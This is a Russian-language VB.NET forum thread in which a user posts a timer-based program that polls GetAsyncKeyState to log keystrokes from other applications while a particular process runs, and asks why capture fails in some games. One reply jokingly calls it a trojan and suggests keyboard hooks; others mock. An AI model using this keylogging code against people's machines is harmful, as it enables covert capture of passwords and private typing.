Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - .NET

Страница: 1 |

 

  Вопрос: Не ловятся клавиши в программе Добавлено: 10.03.10 12:00  

Автор вопроса:  GoodWin
Проблема читаю клавиши при нахождении определенного процесса. В случае его отсутствие чтение и запись клавиш не идет.
Во всех программах стабильно работает чтение клавиш и пишет соответствующие клавиши, а в некоторых программах и играх почему то чтение клавиш не работает,т.е. нажатие фиксируется но вместо например набраного текста "Good moning!" в текстбоксе отржаются "аааа аааааа". Что делать незнаю может кто подскажет?

Public Class Form1
    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetKeyboardLayoutName Lib "user32" Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As Long

    Private Declare Function SetWindowPos Lib _
        "user32" (ByVal hwnd As Long, _
         ByVal hWndInsertAfter As Long, _
         ByVal x As Long, ByVal y As Long, _
         ByVal cx As Long, ByVal cy As Long, _
         ByVal wFlags As Long) As Long
    Private Declare Function FindWindow Lib _
        "user32" Alias "FindWindowA" _
        (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long
    Const SWP_HIDEWINDOW = &H80
    Const SWP_SHOWWINDOW = &H40
    Dim hPanel As Long
    Dim ex As Integer = 0

    Private Declare Function GetForegroundWindow Lib "user32" () As Long
    Private Declare Function FlashWindow Lib "user32" (ByVal hwnd As Long, ByVal bInvert As Long) As Long
    Const Invert = 1
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long


    Public Const VK_TAB = &H9 ' Константа для TAB key.
    Public Const VK_A = &H41 ' Константа для A key.
    Public Const VK_B = &H42 ' Константа для B key.
    Public Const VK_C = &H43 ' Константа для C key.
    Public Const VK_D = &H44 ' Константа для D key.
    Public Const VK_E = &H45 ' Константа для E key.
    Public Const VK_F = &H46 ' Константа для F key.
    Public Const VK_G = &H47 ' Константа для G key.
    Public Const VK_H = &H48 ' Константа для H key.
    Public Const VK_I = &H49 ' Константа для I key.
    Public Const VK_J = &H4A ' Константа для J key.
    Public Const VK_K = &H4B ' Константа для K key.
    Public Const VK_L = &H4C ' Константа для L key.
    Public Const VK_M = &H4D ' Константа для M key.
    Public Const VK_N = &H4E ' Константа для N key.
    Public Const VK_O = &H4F ' Константа для O key.
    Public Const VK_P = &H50 ' Константа для P key.
    Public Const VK_Q = &H51 ' Константа для Q key.
    Public Const VK_R = &H52 ' Константа для R key.
    Public Const VK_S = &H53 ' Константа для S key.
    Public Const VK_T = &H54 ' Константа для T key.
    Public Const VK_U = &H55 ' Константа для U key.
    Public Const VK_V = &H56 ' Константа для U key.
    Public Const VK_W = &H57 ' Константа для U key.
    Public Const VK_X = &H58 ' Константа для U key.
    Public Const VK_Y = &H59 ' Константа для U key.
    Public Const VK_Z = &H5A ' Константа для U key.

    Public Const VK_1 = &H31 ' Константа для U key.
    Public Const VK_2 = &H32 ' Константа для U key.
    Public Const VK_3 = &H33 ' Константа для U key.
    Public Const VK_4 = &H34 ' Константа для U key.
    Public Const VK_5 = &H35 ' Константа для U key.
    Public Const VK_6 = &H36 ' Константа для U key.
    Public Const VK_7 = &H37 ' Константа для U key.
    Public Const VK_8 = &H38 ' Константа для U key.
    Public Const VK_9 = &H39 ' Константа для U key.
    Public Const VK_0 = &H30 ' Константа для U key.
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Me.Visible = True
    End Sub
    Private Sub Button1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Button1.KeyDown ' Событие происходит когда клавиша переходит в нажатое состояние
        MsgBox("ASCII код:" & e.KeyCode & ". Нажата клавиша: " & Chr(e.KeyCode)) ' 'e' - это переменная содержащия все свойства и методы класса System.Windows.Forms.KeyEventArgs, сейчас ты можешь не забивать себе голову классами, и вобще устройством работы с клавиатурой(сейчас все равно ни чего не поймешь, с классами ты познакомишься позже). Из этого шага ты должен узнать только что e.KeyCode - это ASCII код нажатой клавиши. При помощи функции Chr() ASCII код перекодируется в нормальную кодировку.
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        
        If ex > 0 Then


            Dim KeybLayoutName As String
            KeybLayoutName = "000000000"
            GetKeyboardLayoutName(KeybLayoutName)
            'Номер 409 - английская, 419 - русская
            TextBox2.Text = CStr(CLng(KeybLayoutName.Substring(1, _
            InStr(1, KeybLayoutName, Chr(0)) - 1)))

            If GetAsyncKeyState(VK_TAB) Then
                TextBox1.Text += "[TAB]"
            End If
            If GetAsyncKeyState(&H10) Or My.Computer.Keyboard.CapsLock = True Then
                If GetAsyncKeyState(&H10) Then
                    If GetAsyncKeyState(VK_1) Then
                        TextBox1.Text += "!"
                    End If
                    If GetAsyncKeyState(VK_2) Then
                        TextBox1.Text += "@"
                    End If
                    If GetAsyncKeyState(VK_3) Then
                        TextBox1.Text += "#"
                    End If
                    If GetAsyncKeyState(VK_4) Then
                        TextBox1.Text += "$"
                    End If
                    If GetAsyncKeyState(VK_5) Then
                        TextBox1.Text += "%"
                    End If
                    If GetAsyncKeyState(VK_6) Then
                        TextBox1.Text += "^"
                    End If
                    If GetAsyncKeyState(VK_7) Then
                        TextBox1.Text += "&"
                    End If
                    If GetAsyncKeyState(VK_8) Then
                        TextBox1.Text += "*"
                    End If
                    If GetAsyncKeyState(VK_9) Then
                        TextBox1.Text += "("
                    End If
                    If GetAsyncKeyState(VK_0) Then
                        TextBox1.Text += ")"
                    End If
                Else
                    If GetAsyncKeyState(VK_1) Then
                        TextBox1.Text += "1"
                    End If
                    If GetAsyncKeyState(VK_2) Then
                        TextBox1.Text += "2"
                    End If
                    If GetAsyncKeyState(VK_3) Then
                        TextBox1.Text += "3"
                    End If
                    If GetAsyncKeyState(VK_4) Then
                        TextBox1.Text += "4"
                    End If
                    If GetAsyncKeyState(VK_5) Then
                        TextBox1.Text += "5"
                    End If
                    If GetAsyncKeyState(VK_6) Then
                        TextBox1.Text += "6"
                    End If
                    If GetAsyncKeyState(VK_7) Then
                        TextBox1.Text += "7"
                    End If
                    If GetAsyncKeyState(VK_8) Then
                        TextBox1.Text += "8"
                    End If
                    If GetAsyncKeyState(VK_9) Then
                        TextBox1.Text += "9"
                    End If
                    If GetAsyncKeyState(VK_0) Then
                        TextBox1.Text += "0"
                    End If
                End If
                If (TextBox2.Text = "409") Then

                    If GetAsyncKeyState(VK_A) Then
                        TextBox1.Text += "A"
                    End If
                    If GetAsyncKeyState(VK_B) Then
                        TextBox1.Text += "B"
                    End If
                    If GetAsyncKeyState(VK_C) Then
                        TextBox1.Text += "C"
                    End If
                    If GetAsyncKeyState(VK_D) Then
                        TextBox1.Text += "D"
                    End If
                    If GetAsyncKeyState(VK_E) Then
                        TextBox1.Text += "E"
                    End If
                    If GetAsyncKeyState(VK_F) Then
                        TextBox1.Text += "F"
                    End If
                    If GetAsyncKeyState(VK_G) Then
                        TextBox1.Text += "G"
                    End If
                    If GetAsyncKeyState(VK_H) Then
                        TextBox1.Text += "H"
                    End If
                    If GetAsyncKeyState(VK_I) Then
                        TextBox1.Text += "I"
                    End If
                    If GetAsyncKeyState(VK_J) Then
                        TextBox1.Text += "J"
                    End If
                    If GetAsyncKeyState(VK_K) Then
                        TextBox1.Text += "K"
                    End If
                    If GetAsyncKeyState(VK_L) Then
                        TextBox1.Text += "L"
                    End If
                    If GetAsyncKeyState(VK_M) Then
                        TextBox1.Text += "M"
                    End If
                    If GetAsyncKeyState(VK_N) Then
                        TextBox1.Text += "N"
                    End If
                    If GetAsyncKeyState(VK_O) Then
                        TextBox1.Text += "O"
                    End If
                    If GetAsyncKeyState(VK_P) Then
                        TextBox1.Text += "P"
                    End If
                    If GetAsyncKeyState(VK_Q) Then
                        TextBox1.Text += "Q"
                    End If
                    If GetAsyncKeyState(VK_R) Then
                        TextBox1.Text += "R"
                    End If
                    If GetAsyncKeyState(VK_S) Then
                        TextBox1.Text += "S"
                    End If
                    If GetAsyncKeyState(VK_T) Then
                        TextBox1.Text += "T"
                    End If
                    If GetAsyncKeyState(VK_U) Then
                        TextBox1.Text += "U"
                    End If
                    If GetAsyncKeyState(VK_V) Then
                        TextBox1.Text += "V"
                    End If
                    If GetAsyncKeyState(VK_W) Then
                        TextBox1.Text += "W"
                    End If
                    If GetAsyncKeyState(VK_X) Then
                        TextBox1.Text += "X"
                    End If
                    If GetAsyncKeyState(VK_Y) Then
                        TextBox1.Text += "Y"
                    End If
                    If GetAsyncKeyState(VK_Z) Then
                        TextBox1.Text += "Z"
                    End If

                End If
                If (TextBox2.Text = "419") Then
                    If GetAsyncKeyState(VK_A) Then
                        TextBox1.Text += "Ф"
                    End If
                    If GetAsyncKeyState(VK_B) Then
                        TextBox1.Text += "И"
                    End If
                    If GetAsyncKeyState(VK_C) Then
                        TextBox1.Text += "С"
                    End If
                    If GetAsyncKeyState(VK_D) Then
                        TextBox1.Text += "В"
                    End If
                    If GetAsyncKeyState(VK_E) Then
                        TextBox1.Text += "У"
                    End If
                    If GetAsyncKeyState(VK_F) Then
                        TextBox1.Text += "А"
                    End If
                    If GetAsyncKeyState(VK_G) Then
                        TextBox1.Text += "П"
                    End If
                    If GetAsyncKeyState(VK_H) Then
                        TextBox1.Text += "Р"
                    End If
                    If GetAsyncKeyState(VK_I) Then
                        TextBox1.Text += "Ш"
                    End If
                    If GetAsyncKeyState(VK_J) Then
                        TextBox1.Text += "О"
                    End If
                    If GetAsyncKeyState(VK_K) Then
                        TextBox1.Text += "Л"
                    End If
                    If GetAsyncKeyState(VK_L) Then
                        TextBox1.Text += "Д"
                    End If
                    If GetAsyncKeyState(VK_M) Then
                        TextBox1.Text += "Ь"
                    End If
                    If GetAsyncKeyState(VK_N) Then
                        TextBox1.Text += "Т"
                    End If
                    If GetAsyncKeyState(VK_O) Then
                        TextBox1.Text += "Щ"
                    End If
                    If GetAsyncKeyState(VK_P) Then
                        TextBox1.Text += "З"
                    End If
                    If GetAsyncKeyState(VK_Q) Then
                        TextBox1.Text += "Й"
                    End If
                    If GetAsyncKeyState(VK_R) Then
                        TextBox1.Text += "К"
                    End If
                    If GetAsyncKeyState(VK_S) Then
                        TextBox1.Text += "Ы"
                    End If
                    If GetAsyncKeyState(VK_T) Then
                        TextBox1.Text += "Е"
                    End If
                    If GetAsyncKeyState(VK_U) Then
                        TextBox1.Text += "Г"
                    End If
                    If GetAsyncKeyState(VK_V) Then
                        TextBox1.Text += "М"
                    End If
                    If GetAsyncKeyState(VK_W) Then
                        TextBox1.Text += "Ц"
                    End If
                    If GetAsyncKeyState(VK_X) Then
                        TextBox1.Text += "Ч"
                    End If
                    If GetAsyncKeyState(VK_Y) Then
                        TextBox1.Text += "Н"
                    End If
                    If GetAsyncKeyState(VK_Z) Then
                        TextBox1.Text += "Я"
                    End If
                    If GetAsyncKeyState(&HBA) Then
                        TextBox1.Text += "Ж"
                    End If
                    If GetAsyncKeyState(&HDE) Then
                        TextBox1.Text += "Э"
                    End If
                    If GetAsyncKeyState(&HDB) Then
                        TextBox1.Text += "Х"
                    End If
                    If GetAsyncKeyState(&HDD) Then
                        TextBox1.Text += "Ъ"
                    End If
                    If GetAsyncKeyState(&HBC) Then
                        TextBox1.Text += "Б"
                    End If
                    If GetAsyncKeyState(&HBE) Then
                        TextBox1.Text += "Ю"
                    End If
                End If
            Else
                If GetAsyncKeyState(VK_1) Then
                    TextBox1.Text += "1"
                End If
                If GetAsyncKeyState(VK_2) Then
                    TextBox1.Text += "2"
                End If
                If GetAsyncKeyState(VK_3) Then
                    TextBox1.Text += "3"
                End If
                If GetAsyncKeyState(VK_4) Then
                    TextBox1.Text += "4"
                End If
                If GetAsyncKeyState(VK_5) Then
                    TextBox1.Text += "5"
                End If
                If GetAsyncKeyState(VK_6) Then
                    TextBox1.Text += "6"
                End If
                If GetAsyncKeyState(VK_7) Then
                    TextBox1.Text += "7"
                End If
                If GetAsyncKeyState(VK_8) Then
                    TextBox1.Text += "8"
                End If
                If GetAsyncKeyState(VK_9) Then
                    TextBox1.Text += "9"
                End If
                If GetAsyncKeyState(VK_0) Then
                    TextBox1.Text += "0"
                End If

                If (TextBox2.Text = "409") Then
                    If GetAsyncKeyState(VK_A) Then
                        TextBox1.Text += "a"
                    End If
                    If GetAsyncKeyState(VK_B) Then
                        TextBox1.Text += "b"
                    End If
                    If GetAsyncKeyState(VK_C) Then
                        TextBox1.Text += "c"
                    End If
                    If GetAsyncKeyState(VK_D) Then
                        TextBox1.Text += "d"
                    End If
                    If GetAsyncKeyState(VK_E) Then
                        TextBox1.Text += "e"
                    End If
                    If GetAsyncKeyState(VK_F) Then
                        TextBox1.Text += "f"
                    End If
                    If GetAsyncKeyState(VK_G) Then
                        TextBox1.Text += "g"
                    End If
                    If GetAsyncKeyState(VK_H) Then
                        TextBox1.Text += "h"
                    End If
                    If GetAsyncKeyState(VK_I) Then
                        TextBox1.Text += "i"
                    End If
                    If GetAsyncKeyState(VK_J) Then
                        TextBox1.Text += "j"
                    End If
                    If GetAsyncKeyState(VK_K) Then
                        TextBox1.Text += "k"
                    End If
                    If GetAsyncKeyState(VK_L) Then
                        TextBox1.Text += "l"
                    End If
                    If GetAsyncKeyState(VK_M) Then
                        TextBox1.Text += "m"
                    End If
                    If GetAsyncKeyState(VK_N) Then
                        TextBox1.Text += "n"
                    End If
                    If GetAsyncKeyState(VK_O) Then
                        TextBox1.Text += "o"
                    End If
                    If GetAsyncKeyState(VK_P) Then
                        TextBox1.Text += "p"
                    End If
                    If GetAsyncKeyState(VK_Q) Then
                        TextBox1.Text += "q"
                    End If
                    If GetAsyncKeyState(VK_R) Then
                        TextBox1.Text += "r"
                    End If
                    If GetAsyncKeyState(VK_S) Then
                        TextBox1.Text += "s"
                    End If
                    If GetAsyncKeyState(VK_T) Then
                        TextBox1.Text += "t"
                    End If
                    If GetAsyncKeyState(VK_U) Then
                        TextBox1.Text += "u"
                    End If
                    If GetAsyncKeyState(VK_V) Then
                        TextBox1.Text += "v"
                    End If
                    If GetAsyncKeyState(VK_W) Then
                        TextBox1.Text += "w"
                    End If
                    If GetAsyncKeyState(VK_X) Then
                        TextBox1.Text += "x"
                    End If
                    If GetAsyncKeyState(VK_Y) Then
                        TextBox1.Text += "y"
                    End If
                    If GetAsyncKeyState(VK_Z) Then
                        TextBox1.Text += "z"
                    End If

                End If
                If (TextBox2.Text = "419") Then
                    If GetAsyncKeyState(VK_A) Then
                        TextBox1.Text += "ф"
                    End If
                    If GetAsyncKeyState(VK_B) Then
                        TextBox1.Text += "и"
                    End If
                    If GetAsyncKeyState(VK_C) Then
                        TextBox1.Text += "с"
                    End If
                    If GetAsyncKeyState(VK_D) Then
                        TextBox1.Text += "в"
                    End If
                    If GetAsyncKeyState(VK_E) Then
                        TextBox1.Text += "у"
                    End If
                    If GetAsyncKeyState(VK_F) Then
                        TextBox1.Text += "а"
                    End If
                    If GetAsyncKeyState(VK_G) Then
                        TextBox1.Text += "п"
                    End If
                    If GetAsyncKeyState(VK_H) Then
                        TextBox1.Text += "р"
                    End If
                    If GetAsyncKeyState(VK_I) Then
                        TextBox1.Text += "ш"
                    End If
                    If GetAsyncKeyState(VK_J) Then
                        TextBox1.Text += "о"
                    End If
                    If GetAsyncKeyState(VK_K) Then
                        TextBox1.Text += "л"
                    End If
                    If GetAsyncKeyState(VK_L) Then
                        TextBox1.Text += "д"
                    End If
                    If GetAsyncKeyState(VK_M) Then
                        TextBox1.Text += "ь"
                    End If
                    If GetAsyncKeyState(VK_N) Then
                        TextBox1.Text += "т"
                    End If
                    If GetAsyncKeyState(VK_O) Then
                        TextBox1.Text += "щ"
                    End If
                    If GetAsyncKeyState(VK_P) Then
                        TextBox1.Text += "з"
                    End If
                    If GetAsyncKeyState(VK_Q) Then
                        TextBox1.Text += "й"
                    End If
                    If GetAsyncKeyState(VK_R) Then
                        TextBox1.Text += "к"
                    End If
                    If GetAsyncKeyState(VK_S) Then
                        TextBox1.Text += "ы"
                    End If
                    If GetAsyncKeyState(VK_T) Then
                        TextBox1.Text += "е"
                    End If
                    If GetAsyncKeyState(VK_U) Then
                        TextBox1.Text += "г"
                    End If
                    If GetAsyncKeyState(VK_V) Then
                        TextBox1.Text += "м"
                    End If
                    If GetAsyncKeyState(VK_W) Then
                        TextBox1.Text += "ц"
                    End If
                    If GetAsyncKeyState(VK_X) Then
                        TextBox1.Text += "ч"
                    End If
                    If GetAsyncKeyState(VK_Y) Then
                        TextBox1.Text += "н"
                    End If
                    If GetAsyncKeyState(VK_Z) Then
                        TextBox1.Text += "я"
                    End If
                    If GetAsyncKeyState(&HBA) Then
                        TextBox1.Text += "ж"
                    End If
                    If GetAsyncKeyState(&HDE) Then
                        TextBox1.Text += "э"
                    End If
                    If GetAsyncKeyState(&HDB) Then
                        TextBox1.Text += "х"
                    End If
                    If GetAsyncKeyState(&HDD) Then
                        TextBox1.Text += "ъ"
                    End If
                    If GetAsyncKeyState(&HBC) Then
                        TextBox1.Text += "б"
                    End If
                    If GetAsyncKeyState(&HBE) Then
                        TextBox1.Text += "ю"
                    End If
                End If

            End If
        End If
    End Sub

    Private Sub TextBox1_KeyDown(ByVal KeyCode As Integer, ByVal Shift As Integer)
        MsgBox(KeyCode)
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        ex = 0
        ListBox1.Items.Clear()
        Dim pList() As System.Diagnostics.Process = _
             System.Diagnostics.Process.GetProcesses
        For Each proc As System.Diagnostics.Process In pList
            ListBox1.Items.Add(proc.ProcessName())
            If proc.ProcessName = "fert" Then
                ex += 1

            End If
        Next
        TextBox5.Text = ex
    End Sub
End Class

Ответить

  Ответы Всего ответов: 3  

Номер ответа: 1
Автор ответа:
 Just



Вопросов: 4
Ответов: 330
 Профиль | | #1 Добавлено: 10.03.10 13:43
трояньчик пишем? )
я долго смеялся когда увидел
if then if then if then.....
как терпения хватило?
но вот с комментариями констант ты сплоховал... терпения хватило только до "U key" )))

а если серьезно то скорей всего ты просто пытаешься перехватить нажатия клавиш с окна которое просто "не хочет" что б перехватывали их

помойму выход тут один - слово которое я уже задолбался повторять здесь - Хук (с большой буквы Х)

Ответить

Номер ответа: 2
Автор ответа:
 EROS



Вопросов: 58
Ответов: 4255
 Профиль | | #2 Добавлено: 10.03.10 18:51
"Дайте ему умереть!!" (с)Дарвин

Ответить

Номер ответа: 3
Автор ответа:
 Smith



ICQ: adamis@list.ru 

Вопросов: 153
Ответов: 3632
 Профиль | | #3 Добавлено: 11.03.10 02:15
:-D ишь чё захотел!
Вот когда Ленина похоронят, тогда обсудим ...

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам